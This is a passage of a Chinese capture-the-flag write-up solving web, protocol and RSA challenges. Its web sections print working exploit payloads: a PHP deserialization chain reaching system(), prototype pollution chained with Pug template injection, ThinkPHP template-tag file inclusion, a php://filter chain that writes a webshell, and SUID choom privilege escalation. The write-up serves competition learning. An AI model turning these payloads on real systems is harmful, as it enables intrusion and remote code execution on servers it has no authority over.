&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;匿名类逻辑 ：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;execute() ：这是我们要达到的目标，它执行 system($_GET[&apos;cmd&apos;]) 。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;防御机制 ：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!is_resource($this-&amp;gt;handle)) {
    die(&quot;Invalid resource 
    state&amp;lt;br&amp;gt;&quot;);
}
``` 它检查 $this-&amp;gt;handle 是否为有效的资源。
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;序列化陷阱 ：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __wakeup() {
    $this-&amp;gt;handle = null;
}
``` 当对象被反序列化时， __wakeup 会被调用，将 $handle 置为 null 。而且，PHP 中 Resource 类型本身是无法被序列化的（序列化后会变成 int 0 或 null），所以直接反序列化得到的对象，其 handle 一定无效。
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;核心难点 ：如何绕过 is_resource($this-&amp;gt;handle) 的检查？&lt;/p&gt;
&lt;p&gt;由于反序列化出来的对象 handle 必定无效，我们需要让代码 在服务端现场运行 __construct() ，生成一个新的、带有有效 Resource 的匿名对象，并让析构函数调用这个新对象的 execute 方法。&lt;/p&gt;
&lt;p&gt;利用链构造 ：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;我们需要两个 RequestHandler 对象，记为 A 和 B。&lt;/li&gt;
&lt;li&gt;利用 A 的析构函数 ( __destruct ) 去调用 B 的构造函数 ( __construct )。
&lt;ul&gt;
&lt;li&gt;设置 A 的 $action 为 [$b, &quot;__construct&quot;] 。&lt;/li&gt;
&lt;li&gt;这样当脚本结束 A 被销毁时，B 会重新初始化，B 内部的 $processor 会被赋值为一个 全新的、带有有效 Resource 的匿名对象 。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;利用 B 的析构函数去执行这个新对象的 execute 方法。
&lt;ul&gt;
&lt;li&gt;设置 B 的 $action 为 [&amp;amp; $b-&amp;gt;processor, &quot;execute&quot;] 。&lt;/li&gt;
&lt;li&gt;关键点 ：这里必须使用 引用 ( &amp;amp; )。&lt;/li&gt;
&lt;li&gt;如果不由引用， $action 数组中保存的将是 B 此时（序列化时）的 $processor （即 null 或无效对象）。&lt;/li&gt;
&lt;li&gt;使用引用后，当 A 触发 B-&amp;gt;__construct() 更新了 B-&amp;gt;processor 时， B-&amp;gt;action 数组中的第一个元素也会随之指向这个新的匿名对象。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;当 B 析构时，执行 $cb() 即 $b-&amp;gt;processor-&amp;gt;execute() ，此时检查通过，命令执行。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

class RequestHandler {
    public $processor;
    public $action;
}

// 对象 B：负责执行命令
$b = new RequestHandler();
// 这里的 processor 先占位，反序列化后会是 
null
$b-&amp;gt;processor = null; 
// 关键：将 action 的第一个元素设为对 
processor 的引用
// 这样当 B-&amp;gt;__construct 被调用，processor 
更新时，action 也会指向新的 processor
$b-&amp;gt;action = [&amp;amp;$b-&amp;gt;processor, &quot;execute&quot;];

// 对象 A：负责触发 B 的重置
$a = new RequestHandler();
// A 析构时调用 B 的构造函数
$a-&amp;gt;action = [$b, &quot;__construct&quot;];
$a-&amp;gt;processor = null;

echo urlencode(serialize($a));
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;http://web-968f16e3be.challenge.xctf.org.cn:80/?cmd=cat /flag&amp;amp;p=[生成的Payload]
执行结果显示： flag{khL93MLMhRMo4wtUvcWxOTxIEQ9aaDrh}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;react&lt;/h2&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://picui.ogmua.cn/s1/2026/04/01/69cca35259e6f.webp&quot; alt=&quot;image-20251220104254398&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;https://github.com/Spritualkb/CVE-2025-55182-exp&lt;/p&gt;
&lt;h2&gt;ezjs&lt;/h2&gt;
&lt;p&gt;这道题目主要包含两个漏洞利用点： Prototype Pollution (原型链污染) 和 SSTI (服务端模板注入) 。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;题目分析与源码审计
通过扫描发现源码泄露（或题目直接提供源码），主要逻辑在 app.js 和 package.json 中。&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;package.json :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;dependencies&quot;: {
  &quot;json5&quot;: &quot;2.2.1&quot;,
  &quot;pug&quot;: &quot;^3.0.2&quot;,
  ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到使用了 json5 库，版本 2.2.1 存在已知的原型链污染漏洞。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;app.js (登录逻辑) :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.post(&apos;/login&apos;,(req,res)=&amp;gt;{
    let userinfo=JSON.stringify(req.
    body)
    const user = JSON5.parse
    (userinfo) // 漏洞点1：使用 JSON5 解
    析
    if (waf(user, [&apos;admin&apos;])) { // WAF 
    检查
        req.session.user = user
        if(req.session.user.admin == 
        true){ // 目标：让这里为 true
            req.session.user = &apos;admin&apos;
            res.send(&apos;hello,admin&apos;)
        }
        ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;waf 函数只检查 Object.keys(obj) ，即对象自身的属性。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;app.js (渲染逻辑) :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.post(&apos;/render&apos;,(req,res)=&amp;gt;{
    if (req.session.user === &apos;admin&apos;){
        var word = req.body.word
        const blacklist = [&apos;require&apos;, 
        &apos;exec&apos;] // 黑名单
        // ... 黑名单检查 ...
        var hello = &apos;welcome &apos; + word
        res.send(pugjs.render
        (hello)) // 漏洞点2：Pug 模板注入
    }
    ...
``` 2. 漏洞利用步骤
第一步：利用 Prototype Pollution 绕过登录验证
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;由于 waf 只检查对象自身的 key，我们可以利用 json5 的漏洞污染原型链，给 Object.prototype 添加 admin 属性。这样 user 对象本身没有 admin 属性（绕过 WAF），但读取 user.admin 时会从原型链上获取到 true （通过验证）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Payload (POST /login) :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;__proto__&quot;: {
        &quot;admin&quot;: true
    }
}
``` 发送此请求后，服务器会设置包含 admin 权限的 Session。
第二步：利用 SSTI 读取 Flag
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;获取 Admin Session 后，可以访问 /render 接口。这里存在 Pug 模板注入，但过滤了 require 和 exec 关键字。我们可以利用字符串拼接来绕过黑名单，并通过 Node.js 的 child_process 执行系统命令。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;绕过思路 :
使用 global.process.mainModule.require (或 root.process... ) 来引入模块。
将 require 拆分为 &apos;re&apos; + &apos;quire&apos; 来绕过字符串检测。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Payload (POST /render) :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;word&quot;: &quot;#{global.process.
    mainModule[&apos;re&apos;+&apos;quire&apos;]
    (&apos;child_process&apos;).spawnSync(&apos;cat&apos;, 
    [&apos;/flag&apos;]).stdout.toString()}&quot;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;import requests

url = &quot;http://web-6704f79fa6.challenge.
xctf.org.cn:80&quot;
s = requests.Session()

# 1. Prototype Pollution 登录
headers = {&quot;Content-Type&quot;: &quot;application/
json&quot;}
data_login = &apos;{&quot;__proto__&quot;: {&quot;admin&quot;: 
true}}&apos;
s.post(f&quot;{url}/login&quot;, data=data_login, 
headers=headers)

# 2. SSTI 读取 Flag
# 构造 Payload: global.process.mainModule.
require(&apos;child_process&apos;).spawnSync(&apos;cat&apos;, 
[&apos;/flag&apos;]).stdout.toString()
payload = &quot;#{global.process.mainModule
[&apos;re&apos;+&apos;quire&apos;](&apos;child_process&apos;).spawnSync
(&apos;cat&apos;, [&apos;/flag&apos;]).stdout.toString()}&quot;
data_render = {&quot;word&quot;: payload}

response = s.post(f&quot;{url}/render&quot;, 
json=data_render)

print(response.text)
# Flag : flag{1grCxYZ1Wn6NAdObTj6v9NyhutotukTo}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;easy-lua&lt;/h2&gt;
&lt;p&gt;题目提供了一个 &quot;Online Lua Executor&quot; 网页，允许用户输入 Lua 代码并在服务端执行。我们的目标是利用这个执行环境找到并读取 Flag。首先，我们需要了解 Lua 运行环境中都有哪些可用的函数和变量。我们可以通过遍历 Lua 的全局表 _G 来查看环境信息。&lt;/p&gt;
&lt;p&gt;Payload (Lua代码):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for k,v in pairs(_G) do 
    print(k,v) 
end
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行结果分析: 在输出的全局变量列表中，除了标准的 print , table , string 等库函数外，我们发现了几个非标准的自定义函数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;getFileList : 看起来用于获取文件列表&lt;/li&gt;
&lt;li&gt;getFileContent : 看起来用于获取文件内容&lt;/li&gt;
&lt;li&gt;S3cr3t0sEx3cFunc : 这个名字非常可疑 (Secret Exec Func)，暗示可能是一个用于执行命令的后门函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们重点关注 S3cr3t0sEx3cFunc ，尝试猜测它的功能。通常这类 CTF 题目中的 &quot;Exec&quot; 函数是指执行系统 Shell 命令。&lt;/p&gt;
&lt;p&gt;Payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(S3cr3t0sEx3cFunc(&quot;whoami&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行结果:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回了 root ，这证实了该函数存在 RCE (远程代码执行) 漏洞，并且我们拥有 root 权限。&lt;/p&gt;
&lt;p&gt;现在我们可以执行任意命令，接下来就是寻找 flag 文件。&lt;/p&gt;
&lt;p&gt;步骤 1: 查找 Flag 文件位置 使用 find 命令在整个系统中搜索名称包含 &quot;flag&quot; 的文件。&lt;/p&gt;
&lt;p&gt;Payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(S3cr3t0sEx3cFunc(&quot;find / -name 
flag*&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行结果:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/flag
... (其他包含flag的系统文件)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们发现根目录下有一个 /flag 文件。&lt;/p&gt;
&lt;p&gt;步骤 2: 读取 Flag 内容 使用 cat 命令读取该文件。&lt;/p&gt;
&lt;p&gt;Payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print(S3cr3t0sEx3cFunc(&quot;cat /flag&quot;))
flag{aQWDVMBMW0jx3by8tRm9DUPO720Aw4r9}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;renderme&lt;/h2&gt;
&lt;p&gt;访问目标网站，发现 URL 参数 &lt;code&gt;?name=...&lt;/code&gt; 会被回显在页面上。
尝试输入 &lt;code&gt;{{7*7}}&lt;/code&gt;，页面报错，暴露出使用了 ThinkPHP 8.1.3 框架。&lt;/p&gt;
&lt;p&gt;通过 ThinkPHP 的报错信息或尝试读取源码，我们确认了 &lt;code&gt;index.php&lt;/code&gt; 的内容。使用 &lt;code&gt;php://filter&lt;/code&gt; 伪协议读取 &lt;code&gt;index.php&lt;/code&gt; 源码（需要绕过 WAF，或者直接盲测）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 关键代码逻辑
$blacklist = &apos;/system|exec|passthru|shell_exec|popen|proc_open|include|pcntl|eval|assert|call_user_func|create_function|putenv|getenv|error_log|dl|mail|symlink|link|chroot|scandir|dir|glob|readfile|file_get_contents|highlight_file|show_source|fopen|flag|cat|php|\(|\)|\&apos;|\&quot;|`/i&apos;;
if (preg_match($blacklist, $name)) {
    die(&quot;Hacker detected!...&quot;);
}
return View::display(&quot;Hello, &quot; . $name);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码直接将用户输入传入 &lt;code&gt;View::display&lt;/code&gt;，导致了 &lt;strong&gt;Server-Side Template Injection (SSTI)&lt;/strong&gt; 漏洞。
但是存在一个非常严格的黑名单，过滤了几乎所有命令执行函数、括号 &lt;code&gt;()&lt;/code&gt;、引号 &lt;code&gt;&apos;&apos;&quot;&quot;&lt;/code&gt; 以及 &lt;code&gt;flag&lt;/code&gt; 关键字。&lt;/p&gt;
&lt;p&gt;由于无法直接调用函数（括号被过滤），我们需要寻找不使用括号的执行方式。
ThinkPHP 的模板引擎支持标签语法。我们可以利用 &lt;code&gt;{if}&lt;/code&gt; 和 &lt;code&gt;{foreach}&lt;/code&gt; 标签。&lt;/p&gt;
&lt;p&gt;为了执行任意代码，我们采用 &lt;strong&gt;文件上传 + 文件包含&lt;/strong&gt; 的策略：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;构造一个 POST 请求，上传一个包含恶意 PHP 代码的文件（例如 &lt;code&gt;payload.php&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;在 URL 的 &lt;code&gt;name&lt;/code&gt; 参数中，利用 ThinkPHP 模板标签遍历 &lt;code&gt;$_FILES&lt;/code&gt; 数组，获取上传文件的临时路径。&lt;/li&gt;
&lt;li&gt;利用 &lt;code&gt;require&lt;/code&gt; 包含这个临时文件（&lt;code&gt;require&lt;/code&gt; 在 PHP 中是语言结构，不需要括号，且不在黑名单中）。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;?name={foreach $_FILES as $f}{foreach $f as $k=&amp;gt;$v}{foreach $_POST as $p}{if $k==$p}{if require $v}X{/if}{/if}{/foreach}{/foreach}{/foreach}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;外层循环遍历 &lt;code&gt;$_FILES&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;内层循环遍历文件属性。&lt;/li&gt;
&lt;li&gt;配合 POST 参数 &lt;code&gt;target=tmp_name&lt;/code&gt;，当找到 &lt;code&gt;tmp_name&lt;/code&gt; 键时，执行 &lt;code&gt;require $v&lt;/code&gt;（即包含临时文件）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Payload.php 内容:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
system(&apos;id&apos;); // 测试命令
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;攻击命令:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -g &quot;http://TARGET/?name={foreach%20\$_FILES%20as%20\$f}{foreach%20\$f%20as%20\$k=&amp;gt;\$v}{foreach%20\$_POST%20as%20\$p}{if%20\$k==\$p}{if%20require%20\$v}X{/if}{/if}{/foreach}{/foreach}{/foreach}&quot; -F &quot;file=@payload.php&quot; -F &quot;target=tmp_name&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功执行命令，获得 &lt;code&gt;www-data&lt;/code&gt; 权限。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;提权&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;获得 Shell 后，尝试读取 &lt;code&gt;/flag&lt;/code&gt; 或 &lt;code&gt;/root/flag&lt;/code&gt; 失败（权限不足）。
进行信息收集，查找具有 SUID 权限的文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -perm -4000 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出结果中包含：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/choom
...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/usr/bin/choom&lt;/code&gt; 是一个用于调整进程 OOM-killer 评分的工具。通常它不需要 SUID 权限。
检查其权限：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls -la /usr/bin/choom
# -rwsr-xr-x 1 root root ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现它是 SUID root 的。&lt;/p&gt;
&lt;p&gt;利用 &lt;code&gt;choom&lt;/code&gt; 执行命令：
&lt;code&gt;choom&lt;/code&gt; 可以运行命令，如果它有 SUID 权限，运行的命令将继承 root 权限。&lt;/p&gt;
&lt;p&gt;测试提权：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/choom --adjust 0 id
# uid=33(www-data) gid=33(www-data) euid=0(root) ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到 &lt;code&gt;euid=0(root)&lt;/code&gt;，提权成功。&lt;/p&gt;
&lt;p&gt;利用 root 权限读取 flag：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/choom --adjust 0 cat /root/flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;flag{xINPqcZCdNoGOxoOHb9GcmPVry30ClWu}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;insph&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
session_start();
// ... (定义了 FileUpload, FileView, UserLogin, SystemTool 等类) ...

// 数据处理
if (isset($_GET[&apos;data&apos;])) {
    $data = $_GET[&apos;data&apos;];
    // 黑名单过滤
    if (preg_match(&quot;/zip|phar|uploads/i&quot;, $data)){
        exit(&quot;Don&apos;t use dangerous protocol!&quot;);
    }
    // 关键漏洞点：读取 data 指向的内容并写回 data 指向的路径
    file_put_contents($data, file_get_contents($data));
    echo &quot;Data processed successfully!&quot;;
    exit;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;漏洞点：file_put_contents($data, file_get_contents($data));
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;?data=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|convert.base64-decode/resource=shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;file_get_contents 解析伪协议，执行我们构造的编码转换链，最终生成了 &amp;lt;?=system($_GET[1]);?&amp;gt; 这个字符串。file_put_contents 将生成的字符串写入到 shell.php
执行命令，可得flag&lt;/p&gt;
&lt;h1&gt;misc&lt;/h1&gt;
&lt;h2&gt;Protocol&lt;/h2&gt;
&lt;p&gt;协议逆向分析，通过对服务端的交互和回显分析，我们还原了私有协议的头部结构。协议基于 TCP + SSL/TLS 传输，所有数据包采用如下的小端序（Little-Endian）结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;struct Header {
    char magic[4];      // 0xe6, 0x13, 0x04, 0x34
    uint8_t version;    // 0x78
    uint8_t type;       // 包类型 (0x01=Handshake, 0x03=Plaintext)
    uint64_t timestamp; // 8字节时间戳
    uint16_t seq;       // 2字节序列号
    uint32_t length;    // 4字节包体长度
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每个数据包之后通常跟随一个 &lt;code&gt;\n&lt;/code&gt; 换行符作为结束/分隔。&lt;strong&gt;关键逻辑：Sequence Number (Seq)&lt;/strong&gt;，协议要求严格的序列号同步。服务端和客户端维护同一个 &lt;code&gt;seq&lt;/code&gt; 计数器：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每次发送或接收数据包，&lt;code&gt;seq&lt;/code&gt; 都会递增。&lt;/li&gt;
&lt;li&gt;在一个完整的请求-响应（Roundtrip）中，&lt;code&gt;seq&lt;/code&gt; 会增加 2（发送+1，接收+1）。&lt;/li&gt;
&lt;li&gt;如果 &lt;code&gt;seq&lt;/code&gt; 不匹配，连接会被服务端断开。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;接下来是密钥协商&lt;/p&gt;
&lt;p&gt;发送 &lt;code&gt;help&lt;/code&gt; 命令可以看到 &lt;code&gt;negotiate&lt;/code&gt; 选项，提示使用 Diffie-Hellman (DH) 进行密钥交换。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DH 参数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过分析或尝试标准组，确认使用的是 &lt;strong&gt;RFC 3526 Group 5 (1536-bit)&lt;/strong&gt; 标准参数。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;P&lt;/strong&gt;: RFC 3526 定义的 1536-bit 素数。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;G&lt;/strong&gt;: 生成元 2。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;协商流程&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;客户端发送&lt;/strong&gt;: 构造 DH 公钥 $A = g^a \pmod P$，将 $A$ 转换为 192 字节（大端序），通过 &lt;code&gt;TYPE_HANDSHAKE (0x01)&lt;/code&gt; 数据包发送。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务端响应&lt;/strong&gt;: 返回其 DH 公钥 $B$（192 字节）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;计算共享密钥&lt;/strong&gt;: 客户端计算共享密钥 $S = B^a \pmod P$。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;密钥派生&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过对已知明文（如 &lt;code&gt;help&lt;/code&gt; 命令的加密响应）或离线爆破，确定会话密钥的派生方式为：
$$ \text{Session Key} = \text{SHA256}(\text{Shared Secret (Big Endian)}) $$
即取共享密钥的大端字节序的 SHA256 哈希值作为 AES 密钥。&lt;/p&gt;
&lt;p&gt;在协商完成后，发送 &lt;code&gt;readflag&lt;/code&gt; 命令（可以使用 &lt;code&gt;TYPE_PLAINTEXT&lt;/code&gt; 类型发送明文请求）。服务端会返回一段加密数据。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;加密分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通过观察加密数据的长度和特征（无填充特征，长度变化），推测使用流加密或 GCM 模式。
对加密的 Flag 响应包体进行分析：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Nonce (IV)&lt;/strong&gt;: 包体的前 12 字节。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tag&lt;/strong&gt;: 包体的最后 16 字节。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ciphertext&lt;/strong&gt;: 中间部分。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这符合 &lt;strong&gt;AES-GCM&lt;/strong&gt; 的标准结构。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解密步骤&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;提取 Nonce, Ciphertext, Tag。&lt;/li&gt;
&lt;li&gt;使用派生的 Session Key 和 AES-GCM 模式进行解密。&lt;/li&gt;
&lt;li&gt;获得明文 Flag。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;# 1. 建立 SSL 连接并同步 Sequence
magic, ver, ptype, ts, seq, body = recv_pkt(ss)

# 2. 发送 DH 公钥 A
a = bytes_to_long(os.urandom(192)) % (P - 1)
A = pow(G, a, P)
send_pkt(ss, ts, seq + 1, TYPE_HANDSHAKE, long_to_bytes(A, 192))

# 3. 接收公钥 B 并计算 Session Key
_, _, _, rts, rseq, B_bytes = recv_pkt(ss)
B = bytes_to_long(B_bytes)
S = pow(B, a, P)
session_key = sha256(long_to_bytes(S, 192)).digest()

# 4. 发送 readflag 请求
send_pkt(ss, rts, rseq + 1, TYPE_PLAINTEXT, b&apos;readflag&apos;)

# 5. 接收并解密 Flag (AES-GCM)
_, _, _, _, _, enc_body = recv_pkt(ss)
nonce = enc_body[:12]
ciphertext = enc_body[12:-16]
tag = enc_body[-16:]
cipher = AES.new(session_key, AES.MODE_GCM, nonce=nonce)
flag = cipher.decrypt(ciphertext)
print(flag)
# flag{QkIyDyHKvsf21le0jy4BgHS4L0lAWFcf}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;crypto&lt;/h1&gt;
&lt;h2&gt;Loss N&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. 恢复 $\phi(n)$&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;RSA 的核心关系式为：$$e \cdot d \equiv 1 \pmod{\phi(n)}$$
这意味着存在一个整数 $k$，满足：e \cdot d - 1 = k \cdot \phi(n)$$&lt;/p&gt;
&lt;p&gt;由于 $e = 65537$ 比较小，$k$ 的取值范围大致在 $(1, e)$ 之间。我们可以通过爆破 $k$ 来尝试恢复 $\phi(n)$：$$\phi(n) = \frac{e \cdot d - 1}{k}$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 分解 $\phi(n)$ 得到 $p$&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;根据题目条件 $q = \text{next_prime}(p)$，说明 $p$ 和 $q$ 非常接近。$$\phi(n) = (p-1)(q-1) \approx p^2$$
因此，我们可以通过对 $\phi(n)$ 开方得到 $p$ 的近似值：$$p \approx \sqrt{\phi(n)}$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 搜索与验证&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们计算出的 $p_{approx} = \text{isqrt}(\phi(n))$ 会略大于或等于真实的 $p$（因为 $\phi(n) &amp;lt; n = p \cdot q \approx p^2$ 其实 $\phi(n) \approx p^2$ 依然成立，但 $(p-1)(q-1)$ 略小于 $p^2$ 若 $q \approx p$）。更精确地说，由于 $q &amp;gt; p$，则 $(p-1)(q-1) &amp;gt; (p-1)^2$，所以 $\sqrt{\phi} &amp;gt; p-1$。我们可以从 $p_{approx}$ 开始向下小范围搜索 $p$。&lt;/p&gt;
&lt;p&gt;对于每一个猜测的 $p$：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;验证 $(p-1)$ 是否能整除 $\phi(n)$。&lt;/li&gt;
&lt;li&gt;计算对应的 $q = \frac{\phi(n)}{p-1} + 1$。&lt;/li&gt;
&lt;li&gt;验证 $p$ 和 $q$ 是否均为素数。&lt;/li&gt;
&lt;li&gt;验证是否满足 $q = \text{next_prime}(p)$。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import long_to_bytes
import gmpy2

# 题目数据
c = 30552929401084215063034197070424966877689134223841680278066312021587156531434892071537248907148790681466909308002649311844930826894649057192897551604881567331228562746768127186156752480882861591425570984214512121877203049350274961809052094232973854447555218322854092207716140975220436244578363062339274396240
d = 3888417341667647293339167810040888618410868462692524178646833996133379799018296328981354111017698785761492613305545720642074067943460789584401752506651064806409949068192314121154109956133705154002323898970515811126124590603285289442456305377146471883469053362010452897987327106754665010419125216504717347373
e = 0x10001

print(&quot;正在搜索 k...&quot;)

# 遍历 k 来寻找 phi
for k in range(1, e):
    if (e * d - 1) % k == 0:
        phi = (e * d - 1) // k
        
        # 利用 phi 近似计算 p
        # phi = (p-1)(q-1) approx p^2
        p_approx = gmpy2.isqrt(phi)
        
        # 在近似值附近搜索 p
        p = p_approx
        for i in range(20000): 
            if phi % (p - 1) == 0:
                q_minus_1 = phi // (p - 1)
                q = q_minus_1 + 1
                
                # 验证素数和 next_prime 条件
                if gmpy2.is_prime(p) and gmpy2.is_prime(q):
                    if q == gmpy2.next_prime(p):
                        print(f&quot;找到 k = {k}&quot;)
                        print(f&quot;p = {p}&quot;)
                        print(f&quot;q = {q}&quot;)
                        n = p * q
                        m = pow(int(c), int(d), int(n))
                        try:
                            flag = long_to_bytes(m)
                            print(f&quot;Flag: {flag.decode()}&quot;)
                            exit(0)
                        except:
                            pass
            p -= 1
# flag{Y0u_kNow_h0w_7o_f4cTor1z3_phI}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ComCompleXX&lt;/h2&gt;
&lt;p&gt;题目实现了一个基于四元数（Quaternion）环上的 RSA 密码系统。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$n = p \times q$，其中 $p, q$ 为 512 位素数。&lt;/li&gt;
&lt;li&gt;$e$ 是公钥指数，非常大（约 3070 位）。&lt;/li&gt;
&lt;li&gt;$d$ 是私钥指数，题目提示 &lt;code&gt;d_len: 500&lt;/code&gt;，即 $d$ 只有 500 位左右。&lt;/li&gt;
&lt;li&gt;加密过程：$C = M^e \pmod n$，运算在四元数环上进行。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在四元数环 $\mathbb{H}(\mathbb{Z}_n)$ 中，群的阶（Order）与 $p(p^2-1)$ and $q(q^2-1)$ 有关。
具体来说，该群的指数（Exponent，即所有元素的阶的最小公倍数）$\lambda$ 为：
